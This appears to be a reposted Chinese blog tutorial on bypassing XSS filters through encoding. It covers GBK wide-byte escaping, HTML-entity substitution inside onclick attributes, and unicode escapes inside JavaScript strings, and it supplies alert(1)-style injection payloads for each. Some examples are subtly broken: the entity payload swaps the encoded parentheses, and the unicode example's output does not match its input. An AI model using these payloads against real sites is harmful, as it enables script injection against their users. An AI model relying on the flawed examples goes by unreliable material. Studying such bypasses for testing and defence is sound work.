xss:利用编码特性绕过过滤

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss:利用编码特性绕过过滤相关的知识,希望对你有一定的参考价值。

编码知识

  url编码 当用户提交的表单值中存在url中有特殊功能的字符时(如http://xxx.com/xxx.php?name1=value1&name2=value2中的"&"),需要对其进行url编码,编码格式为%+16进制值。注意:在表单中输入url编码格式的字符只会被作为字符处理而不会解释成url编码,如有需要请在url地址栏中输入。

   html实体字符 html页面存在字符有特殊意义时,为了避免被错误解析,通常以html实体字符的形式显示在html页面中。如字符<,>为了避免被解析为标签的起始与结束,常以&lt;,&gt;表示。  

 

1.宽字节绕过

   原理:在gbxxxx系列编码的HTML中,%c0可以吃掉%5c

   例子:当用户输入显示在属性里时

  <input type="text" name="InputBox" value="用户输入">

    输入 " 闭合双引号但被转义了

  <input type="text" name="InputBox" value="\"">

       因为 \ 字符编码为%5c ,当HTML为gbxxxx系列编码时,则可以输入 %c0” 来吃掉插在 " 前面的 \ 以达到绕过

  <input type="text" name="InputBox" value="繺"">    

2.实体字符绕过

  原理:HTML标签的属性中会自动对实体字符进行转义,如

    <img src="1" onerror="alert(1)"><img src="1" onerror="alert&#x28;1&#x29;">等效

  例子:用户输出在button标签的onclick事件中

 <button onclick="func(用户输出)">go</button>

  构造注入句子 aaa)+alert(1 插入却发现 ( , ) 被过滤掉,变成了

 <button onclick="func(aaa+alert1)">go</button>

  这时候,若&,#没有被过滤,就可以使用实体字符,把 ( , ) 替换为&#x0028;&#x0029;,从而绕过

  <button onclick="func(aaa&#x0028;+alert&#x0029;1)">go</button>

3.unicode编码绕过

  原理:js的字符串中的字符可以unicode编码表示

    例子:用户输出在js中时,如

  document.getElementById(‘a‘).innerHTML="用户输出"

    构造注入句子 <img src=1 onerror=alert(1)> 发现<,>,(,)等都被过滤掉了

  document.getElementById(‘a‘).innerHTML="img src=1 onerror=alert1"

   可使用unicode编码进行绕过,输入:\u003cimg src=1\u003e onerror=alert\u00281\u0029  

  document.getElementById(‘a‘).innerHTML="<img src=1 alert(1) >"

 

 

   

  

  

   

以上是关于xss:利用编码特性绕过过滤的主要内容,如果未能解决你的问题,请参考以下文章

xss绕过姿势总结

XSS编码与绕过

XSS原理分析绕过及利用思路

存储型xss调研

通过脚本片段绕过XSS防御

有啥 绕过 htmlentities 进行 xss 攻击的方法吗